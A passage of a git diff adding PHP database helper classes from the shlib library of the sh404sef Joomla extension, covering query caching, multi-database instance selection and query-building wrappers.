mode 100644 index 00000000..e8870a70 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/dbrecord.php @@ -0,0 +1,59 @@ +db = new ShlDbClass( $db); + $this->db->queryCacheEnabled = $enableQueryCache; + $this->db->instanceName = $name; + $this->db->queryCacheEnabledForJoomla = $enableForJoomla; + $this->db->queryCacheTableExclusionList = $tablesExclusionList; + $this->enabled = true; + $this->weight = $weight; + } + +} \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/index.html b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/index.html new file mode 100644 index 00000000..fa6d84e8 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/index.html @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/db/exceptions/exception.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/exceptions/exception.php new file mode 100644 index 00000000..8e1b28cc --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/exceptions/exception.php @@ -0,0 +1,19 @@ + \ No newline at end of file diff --git a/deployed/sh404sef/plugins/system/shlib/shl_packages/db/helpers/helper.php b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/helpers/helper.php new file mode 100644 index 00000000..5c059d79 --- /dev/null +++ b/deployed/sh404sef/plugins/system/shlib/shl_packages/db/helpers/helper.php @@ -0,0 +1,1220 @@ +db; + + // return selected instance + return $selectedInstance; + } + + public static function &getDb() + { + return self::getInstance(); + } + + public static function getCacheStats() + { + $stats = array(); + + if (!empty(self::$_databases)) + { + foreach (self::$_databases as $name => $instance) + { + $stats[$name] = $instance->db->shlGetCacheStats(); + } + } + + return $stats; + } + + /** + * Globally enable or disable the query cache + * Applies only to READ db actions + * + * @param boolean $value either true or false, to enable or disable the cache resp. + * @return boolean previous value of query cache enabled flag + */ + public static function switchQueryCache($value = true) + { + $previous = self::$_queryCacheEnabled; + self::$_queryCacheEnabled = $value; + + return $previous; + } + + /** + * Globally enable or disable the query cache for the Joomla DB instance + * Applies only to READ db actions + * + * @param boolean $value either true or false, to enable or disable the cache resp. + * @param array $list array of table names, using Joomla notation: #__table_name + * @return boolean true if successful + */ + public static function switchJoomlaQueryCache($value = true, $exclusionList = null) + { + $switched = false; + + // see #287, Joomla! 3+ does not allow decorating the db object anymore + // as has type hint for JDatabaseDriver in various places + if (version_compare(JVERSION, '3.0.0', 'ge')) + { + return $switched; + } + // store value + self::$_joomlaQueryCacheEnabled = $value; + + // compute exclusion list value + $exclusionList = is_null($exclusionList) ? self::$_defaultQueryCacheTableExclusionList : $exclusionList; + + // contrary to if using this db helper, we must now actually + // enable or disable the query cache on Joomla db instance + // so that it becomes active also for Joomla and other extensions + // that do not use this helper to perform db operations + try + { + $joomlaDb = self::getInstance(self::SHL_DEFAULT); + $joomlaDb->queryCacheEnabledForJoomla = $value; + $joomlaDb->queryCacheTableExclusionList = $exclusionList; + + // now override JOomla instance + if (version_compare(JVERSION, '1.6.0', 'ge')) + { + JFactory::$database = $joomlaDb; // 1.6+ + } + else + { + $db = JFactory::getDbo(); + $db = $joomlaDb; // 1.5 + } + $switched = true; + } + catch (Exception $e) + { + ShlSystem_Log::error('shlib', __METHOD__ . ': unable to switch query cache for joomla ' . ($value ? 'on' : 'off')); + } + return $switched; + } + + /** + * Enable or disable the query cache on a particular db instance + * Applies only to READ db actions + * + * @param string $name db instance name, if empty will apply to default instance + * @param boolean $value either true or false, to enable or disable the cache resp. + * @return object $db the database instance modified + */ + public static function switchInstanceQueryCache($name = '', $value = true) + { + $db = self::getInstance($name, self::OP_TYPE_READ); + $db->queryCacheEnabled = !empty($value); + + return $db; + } + + /** + * Set default list of db tables that should disable + * query caching, when used in a query + * + * @param array $list array of table names, using Joomla notation: #__table_name + * @return array previous list + * @throws ShlException + */ + public static function setDefaultExcludedTablesList($list) + { + if (!is_array($list)) + { + throw new ShlException(__METHOD__ . ': excluded tables list not an array'); + } + + $previous = self::$_defaultQueryCacheTableExclusionList; + self::$_defaultQueryCacheTableExclusionList = $list; + + return $previous; + } + + /** + * Get default list of db tables that should disable + * query caching, when used in a query + * + * @return array list, as an array of strings + */ + public static function getDefaultExcludedTablesList() + { + return self::$_defaultQueryCacheTableExclusionList; + } + + /** + * Set default timeout for query cache servers + * Useful only for memcache and similar cache systems + * + * @param integer $newTTL + * @return integer previous value of TTL + * @throws ShlException + */ + public static function setDefaultTTL($newTTL) + { + $newTTL = (int) $newTTL; + + if ($newTTL < 0) + { + throw new ShlException(__METHOD__ . ': trying to set negative global TTL'); + } + + $previous = self::$_queryCacheDefaultTTL; + self::$_queryCacheDefaultTTL = $newTTL; + + return $previous; + } + + /** + * + * Set up and store a database instance to use + * + * @param string $name reference name for the instance + * @param object $db Joomla database object + * @param string $dataset name of dataset this db can be used for + * @param string $opType the type of db operation this db can be used for (read, write, both) + * @param boolean $enableQueryCache if true, query cache will be enabled on queries to this database + * @param array $list array of table names, using Joomla notation: #__table_name + * @return object the database full record + * @throws ShlDbException + */ + public static function registerDb($name, &$db, $dataset = self::SHL_DEFAULT, $opType = self::OP_TYPE_DEFAULT, $weight = self::DEFAULT_WEIGHT, + $enableQueryCache = true, $exclusionList = null) + { + if (empty($name)) + { + throw new ShlDbException(__METHOD__ . ': Trying to register a database object with no valid name'); + } + + if ((int) $weight < 1) + { + throw new ShlDbException(__METHOD__ . ': Trying to register a database object with an invalid weight: Must be greater than 1'); + } + + // compute exclusion list value + $exclusionList = is_null($exclusionList) ? self::$_defaultQueryCacheTableExclusionList : $exclusionList; + + // store the actual db information + self::$_databases[$name] = new ShlDbClass_Dbrecord($db, $name, $weight, $enableQueryCache, $exclusionList, self::$_joomlaQueryCacheEnabled); + + // then record what it's good for + switch ($opType) + { + case self::OP_TYPE_READ: + case self::OP_TYPE_WRITE: + self::$_datasets[$dataset][$opType][] = $name; + break; + case self::OP_TYPE_BOTH: + self::$_datasets[$dataset][self::OP_TYPE_READ][] = $name; + self::$_datasets[$dataset][self::OP_TYPE_WRITE][] = $name; + break; + default: + throw new ShlDbException(__METHOD__ . ': Trying to set database object with invalid operation type'); + break; + } + + // clean up to avoid double recordings + if (!empty(self::$_datasets[$dataset][self::OP_TYPE_READ])) + { + self::$_datasets[$dataset][self::OP_TYPE_READ] = array_values(array_unique(self::$_datasets[$dataset][self::OP_TYPE_READ])); + } + if (!empty(self::$_datasets[$dataset][self::OP_TYPE_WRITE])) + { + self::$_datasets[$dataset][self::OP_TYPE_WRITE] = array_values(array_unique(self::$_datasets[$dataset][self::OP_TYPE_WRITE])); + } + + // store that we now have more than one db + self::$_multiDbSupportEnabled = true; + + return self::$_databases[$name]; + } + + /** + * + * Disable one particular database instance + * registered with the class. The instance will not + * be used anymore for db requests, until it is + * re-enabled using self::enableDb() + * + * @param string $name reference name for the instance + * @return object the database full record + * @throws ShlDbException + */ + public static function disableDbInstance($name) + { + if ($name == self::SHL_DEFAULT) + { + throw new ShlDbException(__METHOD__ . ': Trying to disable the default database instance'); + } + + if (!empty(self::$_databases[$name])) + { + self::$_databases[$name]->enabled = false; + } + else + { + throw new ShlDbException(__METHOD__ . ': Trying to disable a non existing database instance'); + } + + // perf flag: if only one (or none) db instance left enabled, disable multi db support + self::$_multiDbSupportEnabled = self::_hasMoreThanOneEnabledDb(); + + return self::$_databases[$name]; + } + + /** + * Enable a particular database instance registered + * with the class, that may have been disabled previously + * using self::disableDb(); + * + * @param string $name reference name for the instance + * @return object the database full record + * @throws ShlDbException + */ + public static function enableDbInstance($name) + { + if (!empty(self::$_databases[$name])) + { + self::$_databases[$name]->enabled = true; + } + else + { + throw new ShlDbException(__METHOD__ . ': Trying to enable a non existing database instance'); + } + + self::$_multiDbSupportEnabled = self::_hasMoreThanOneEnabledDb(); + + return self::$_databases[$name]; + } + + /** + * + * Set the currently selected dataset, will be used + * for subsequent operations of this helper class, until + * another one is selected + * + * @param string $name name of dataset to select + * @return string previously selected dataset, if any + * @throws ShlDbException + */ + public static function selectDataset($name = '') + { + if (!empty($name) && empty(self::$_datasets[$name])) + { + throw new ShlDbException(__METHOD__ . ': Trying to select a dataset that has not been set: ' . $name); + } + + $previous = self::$_selectedDataset; + self::$_selectedDataset = $name; + + return $previous; + } + + /** + * Reset selected dataset record to none + * + */ + public static function unselectDataset() + { + $previous = self::$_selectedDataset; + self::$_selectedDataset = ''; + + return $previous; + } + + /** + * + * Set the currently selected database instance, will be used + * for subsequent operations of this helper class, until + * another one is selected + * + * @param string $name name of database instance to select + * @return string previously selected dataset, if any + * @throws ShlDbException + */ + public static function selectDb($name = '') + { + if (!empty($name) && empty(self::$_databases[$name])) + { + throw new ShlDbException(__METHOD__ . ': Trying to select a database that has not been set: ' . $name); + } + + $previous = self::$_selectedDb; + self::$_selectedDb = $name; + + return $previous; + } + + /** + * Reset selected database record to none + * + */ + public static function unselectDb() + { + $previous = self::$_selectedDb; + self::$_selectedDb = ''; + return $previous; + } + + /** + * Prepare, set and execute a select query, returning a single result + * + * usage: + * + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', array( 'nonsef' => 'index.php?option=com_content&view=article&id=12')); + * will select the 'alias' column where nonsef column is index.php?option=com_content&view=article&id=12 + * Alternate where condition syntax: + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', 'amount > 0 and amount < ?', array( '100')); + * If where condition is a string, it will be used literally, with question marks replaced by parameters as + * passed in the next method param. These params are escaped, but the base where condition is not + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectResult($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadResult(); + + return $read; + } + + /** + * Prepare, set and execute a select query, returning a an array of results + * + * usage: + * + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', array( 'nonsef' => 'index.php?option=com_content&view=article&id=12')); + * will select the 'alias' column where nonsef column is index.php?option=com_content&view=article&id=12 + * Alternate where condition syntax: + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', 'amount > 0 and amount < ?', array( '100')); + * If where condition is a string, it will be used literally, with question marks replaced by parameters as + * passed in the next method param. These params are escaped, but the base where condition is not + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @deprecated Use selectColumn() instead + * @throw none (underlying database layer does throw errors) + */ + public static function selectResultArray($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + ShlSystem_Log::debug('shlib', 'Using deprecated ShlDbHelper::selectResultArray() method. Use ShlDbHelper::selectColumn() instead'); + return self::selectColumn($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + } + + /** + * Prepare, set and execute a select query, returning a an array of results + * + * usage: + * + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', array( 'nonsef' => 'index.php?option=com_content&view=article&id=12')); + * will select the 'alias' column where nonsef column is index.php?option=com_content&view=article&id=12 + * Alternate where condition syntax: + * $result = ShlHelperDb::selectResult( '#__sh404sef_alias', 'alias', 'amount > 0 and amount < ?', array( '100')); + * If where condition is a string, it will be used literally, with question marks replaced by parameters as + * passed in the next method param. These params are escaped, but the base where condition is not + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectColumn($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadColumn(); + + return $read; + } + + /** + * Prepare, set and execute a select query, returning a single associative array + * + * usage: + * + * $result = ShlHelperDb::selectAssoc( '#__sh404sef_alias', array('alias', 'id'), array( 'nonsef' => 'index.php?option=com_content&view=article&id=12')); + * will return an array with 2 keys, alias and id, where nonsef column is index.php?option=com_content&view=article&id=12 + * + * $result = ShlHelperDb::selectAssoc( '#__sh404sef_alias', array('alias', 'id'), 'amount > 0 and amount < ?', array( '100')); + * If where condition is a string, it will be used literally, with question marks replaced by parameters as + * passed in the next method param. These params are escaped, but the base where condition is not + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectAssoc($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadAssoc(); + + return $read; + } + + /** + * Prepare, set and execute a select query, returning a an array of associative arrays + * + * usage: + * + * $result = ShlHelperDb::selectAssoc( '#__sh404sef_alias', array('alias', 'id'), array( 'nonsef' => 'index.php?option=com_content&view=article&id=12')); + * will return an array of arrays with 2 keys, alias and id, where nonsef column is index.php?option=com_content&view=article&id=12 + * + * $result = ShlHelperDb::selectAssoc( '#__sh404sef_alias', array('alias', 'id'), 'amount > 0 and amount < ?', array( '100')); + * If where condition is a string, it will be used literally, with question marks replaced by parameters as + * passed in the next method param. These params are escaped, but the base where condition is not + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $key a column name to index the returned array with + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectAssocList($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $key = '', $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadAssocList($key); + + return $read; + } + + /** + * Prepare, set and execute a select query, returning a single object + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectObject($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadObject(); + + return $read; + + } + + /** + * Prepare, set and execute a select query, returning a an object list + * + * @param String $table The table name + * @param Array $aColList array of strings of columns to be fetched + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param Array $orderBy, a list of columns to order the results + * @param Integer $offset, first line of result set to select + * @param Integer $lines, max number of lines to select + * @param string $key a column name to index the returned array with + * @param string $opType optional forced operation type for this operation + * @return mixed single value read from db + * @throw none (underlying database layer does throw errors) + */ + public static function selectObjectList($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $key = '', $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + // have db driver create the sql query + $db = self::_setSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines, $opType); + + // if not in cache, run query + $read = $db->shlLoadObjectList($key); + + return $read; + } + + /** + * Prepare, set and execute a count query + * + * @param String $table The table name + * @param String $column optional column to be counted (defaults to *) + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function count($table, $column = '*', $mWhere = '', $aWhereData = array(), $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + + $db = self::getInstance('', $opType); + + // have db driver create the sql query + $db->shlSetCountQuery($table, $column, $mWhere, $aWhereData); + + // if not in cache, run query + $read = $db->shlLoadResult(); + $read = empty($read) ? 0 : $read; + + return $read; + } + + /** + * Prepare, set and execute a delete query + * + * @param String $table The table name + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function delete($table, $mWhere = '', $aWhereData = array(), $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + $db->shlSetDeleteQuery($table, $mWhere, $aWhereData)->shlQuery(); + + return $db; + } + + /** + * Prepare, set and execute a delete query based on a + * list of column value + * + * @param String $table The table name + * @param String $mwhereColumn name of column to compare to list of values + * @param Array $aWhereData List of column values that should be deleted + * @param Integer if self::INTEGER, list will be 'intvaled', else quoted + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function deleteIn($table, $mwhereColumn, $aWhereData, $type = self::STRING, $opType = '') + { + if (empty($mwhereColumn) || empty($aWhereData)) + { + return; + } + + // build a list of ids to read + $wheres = $type == self::INTEGER ? self::arrayToIntvalList($aWhereData) : self::arrayToQuotedList($aWhereData); + + // perform deletion + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + return self::delete($table, $db->quoteName($mwhereColumn) . ' in (' . $wheres . ')'); + } + + /** + * Prepare, set and execute and insert query + * + * @param String $table The table name + * @param Array $aData array of values pairs ( ie 'columnName' => 'columnValue') + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function insert($table, $aData, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + $db->shlSetInsertQuery($table, $aData)->shlQuery(); + + return $db; + + } + + /** + * Prepare, set and execute an update query + * + * @param String $table The table name + * @param Array $aData array of values pairs ( ie 'columnName' => 'columnValue') + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function update($table, $aData, $mWhere = '', $aWhereData = array(), $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + $db->shlSetUpdateQuery($table, $aData, $mWhere, $aWhereData)->shlQuery(); + + return $db; + + } + + /** + * Prepare, set and execute an update query on a list + * of items + * + * @param String $table The table name + * @param Array $aData array of values pairs ( ie 'columnName' => 'columnValue') + * @param String $mwhereColumn name of column to compare to list of values + * @param Array $aWhereData List of column values that should be updated + * @param Integer if self::INTEGER, list will be 'intvaled', else quoted + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function updateIn($table, $aData, $mwhereColumn, $aWhereData, $type = self::STRING, $opType = '') + { + if (empty($mwhereColumn) || empty($aWhereData)) + { + return; + } + + // build a list of ids to read + $wheres = $type == self::INTEGER ? self::arrayToIntvalList($aWhereData) : self::arrayToQuotedList($aWhereData); + + // perform deletion + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + return self::update($table, $aData, $db->quoteName($mwhereColumn) . ' in (' . $wheres . ')'); + } + + /** + * Prepare, set and execute an insert or update query + * + * @param String $table The table name + * @param Array $aData An array of field to be inserted in the db ('columnName' => 'columnValue') + * @param String $mWhere Conditions. Taken as a litteral where clause ( WHERE `amount` > 100 ). + * @param Array $mWhere ( ie 'columnName' => 'columnValue') : a where clause is created like so : WHERE `columnName` = 'columnValue'. columnValue is escaped before being used + * @param Array $aWhereData Used only if $aWhere is a string. In such case, '?' place holders will be replaced by this array values, escaped + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function insertUpdate($table, $aData, $mWhere = '', $aWhereData = array(), $opType = '') + { + + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + $db->shlSetInsertUpdateQuery($table, $aData, $mWhere, $aWhereData)->shlQuery(); + + return $db; + } + + /** + * Prepare, set and execute a custom database query + * + * @param String $query A litteral sql query + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function query($query, $opType = '') + { + $db = self::setQuery($query, $opType)->shlQuery(); + + return $db; + } + + /** + * Set a custom database query, so that + * another method can be chained to execute it + * + * @param String $query A litteral sql query + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function setQuery($query, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + $db->setQuery($query); + + return $db; + } + + /** + * + * Prepare a query for running, quoting or name quoting some + * of its constituents + * ?? will be replaced with name quoted data from the $nameQuoted parameter + * ? will be replaced with quoted data from the $quoted parameter + * + * Example: + * $query = 'select ?? from ?? where ?? <> ?' + * with + * $nameQuoted = array( 'id', '#__table', 'counter') + * $quoted = array( 'test') + * + * will result in running + * + * select `id` from `#__table` where `counter` <> 'test' + * + * + * @param string $query + * @param array $nameQuoted + * @param array $quoted + * @param string $namePlaceHolder + * @param string $dataPlaceHolder + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function quoteQuery($query, $nameQuoted = array(), $quoted = array(), $namePlaceHolder = '??', $dataPlaceHolder = '?', $opType = '') + { + // get a db + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + + // save query for error message + $newQuery = $db->shlQuoteQuery($query, $nameQuoted, $quoted, $namePlaceHolder, $dataPlaceHolder); + $db->setQuery($newQuery); + + return $db; + } + + /** + * + * Runs a query, after quoting or name quoting some + * of its constituents + * ?? will be replaced with name quoted data from the $nameQuoted parameter + * ? will be replaced with quoted data from the $quoted parameter + * + * Example: + * $query = 'select ?? from ?? where ?? <> ?' + * with + * $nameQuoted = array( 'id', '#__table', 'counter') + * $quoted = array( 'test') + * + * will result in running + * + * select `id` from `#__table` where `counter` <> 'test' + * + * + * @param string $query + * @param array $nameQuoted + * @param array $quoted + * @param string $namePlaceHolder + * @param string $dataPlaceHolder + * @param string $opType optional forced operation type for this operation + * @return object the db object + */ + public static function runQuotedQuery($query, $nameQuoted = array(), $quoted = array(), $namePlaceHolder = '??', $dataPlaceHolder = '?', + $opType = '') + { + // get a db + $opType = empty($opType) ? self::OP_TYPE_WRITE : $opType; + $db = self::getInstance('', $opType); + + // save query for error message + $newQuery = $db->shlQuoteQuery($query, $nameQuoted, $quoted, $namePlaceHolder, $dataPlaceHolder); + + return self::query($newQuery); + } + + /** + * + * Asks db to name quote a string + * + * @param string $string + */ + public static function nameQuote($string) + { + $db = self::getInstance(); + + return $db->quoteName($string); + } + + /** + * + * Asks DB to quote a string + * @param string $string + */ + public static function quote($string) + { + $db = self::getInstance(); + + return $db->Quote($string); + } + + /** + * Quote an array of value and turn it into a list + * of separated, name quoted elements + * + * @param array $data + * @param string $glue + * @return string + */ + public static function arrayToNameQuotedList($data, $glue = ',') + { + return self::_arrayToQuotedList($data, $nameQuote = true, $glue); + } + + /** + * Quote an array of value and turn it into a list + * of separated, quoted elements + * + * @param array $data + * @param string $glue + * @return string + */ + public static function arrayToQuotedList($data, $glue = ',') + { + return self::_arrayToQuotedList($data, $nameQuote = false, $glue); + } + + /** + * Quote an array of value and turn it into a list + * of separated, quoted elements + * + * @param array $data + * @param boolean $nameQuote if true, data is namedQuoted, otherwise Quoted + * @param string $glue + * @return string + */ + private static function _arrayToQuotedList($data, $nameQuote = false, $glue = ',') + { + $list = ''; + if (empty($data) || !is_array($data)) + { + return $list; + } + + $db = self::getInstance(); + $values = array(); + foreach ($data as $value) + { + $values[] = $nameQuote ? $db->quoteName($value) : $db->Quote($value); + } + + $list = implode($glue, $values); + + return $list; + } + + /** + * Intval an array of value and turn it into a list + * of separated, quoted elements + * + * @param array $data + * @param string $glue + * @return string + */ + public static function arrayToIntvalList($data, $glue = ',') + { + $list = ''; + if (empty($data) || !is_array($data)) + { + return $list; + } + + $values = array(); + foreach ($data as $value) + { + $values[] = (int) $value; + } + + $list = implode($glue, $values); + + return $list; + } + + protected static function _setSelectQuery($table, $aColList = array('*'), $mWhere = '', $aWhereData = array(), $orderBy = array(), $offset = 0, + $lines = 0, $opType = '') + { + $opType = empty($opType) ? self::OP_TYPE_READ : $opType; + $db = self::getInstance('', self::OP_TYPE_READ); + $db->shlSetSelectQuery($table, $aColList, $mWhere, $aWhereData, $orderBy, $offset, $lines); + + return $db; + } + + /** + * Select the instance to be used for the operation requested + * First based on operation type (read, write) + * Second, using a weighted random selection + * + * @param string $dataset dataset to use + * @param string $opType requested operation type + */ + private static function _findInstanceName($dataset, $opType) + { + $name = ''; + + if (!empty(self::$_datasets[$dataset])) + { + // if we have a dataset (possibly the default one), we're going through + // the selection process for a given instance + + // first, select by operation type: we grab the names of all db instances + // that have been registered for this dataset, for each type of operation + $instances = array(); + switch ($opType) + { + case self::OP_TYPE_READ: + case self::OP_TYPE_WRITE: + $instances = array_merge($instances, self::$_datasets[$dataset][$opType]); + break; + case self::OP_TYPE_BOTH: + $instances = array_merge($instances, self::$_datasets[$dataset][self::OP_TYPE_READ]); + $instances = array_merge($instances, self::$_datasets[$dataset][self::OP_TYPE_WRITE]); + break; + } + $instances = array_values(array_unique($instances)); + // second, if there are several instances for the same operation type + // select amongst them, using weight coefficients + // note: $instances contains a list of db instances names + $name = self::_weightedRandomSelect($instances); + } + + // return whatever we found, can be empty + return $name; + } + + /** + * Select at random an instance, amongst the passed + * list of acceptable instances. Choice is not fully + * random, but use the weight coefficient of each instance + * (set by user when an instance is registered) + * + * @param array $instances names of the acceptable db instances + */ + private static function _weightedRandomSelect($instances) + { + $name = ''; + + if (!empty($instances)) + { + $weightedSums = array(); + $total = 0; + foreach ($instances as $index => $instanceName) + { + if (self::$_databases[$instanceName]->enabled) + { + $total += self::$_databases[$instanceName]->weight; + $weightedSums[$index] = $total; + } + } + + // if no instance is available, because + // 